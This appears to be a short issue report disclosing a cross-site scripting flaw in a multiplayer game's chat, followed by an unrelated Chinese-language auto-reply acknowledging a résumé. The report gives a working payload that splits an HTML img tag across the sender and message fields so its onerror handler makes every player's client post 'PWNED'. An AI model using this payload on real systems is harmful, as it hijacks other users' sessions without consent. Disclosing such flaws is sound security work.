XSS Vulnerability

[kee-reel]

There is a XSS vulnerability.

It is possible to bypass player message XSS sanitization by splitting HTML tag in 2 parts (username+message):

chat.socket.emit('playerChat', { 
        sender: '<img onerror="chat.socket.emit(`playerChat`, { sender: `${chat.player.name}`, message: `PWNED` });" src="', 
        message: '">' 
    }
);

It will force all players to post a message in the chat.

This is how it looks like:

[WrathofGod]

您好，已经收到您的简历，简历部门需要初筛，如果通过了两个工作日内会有通知。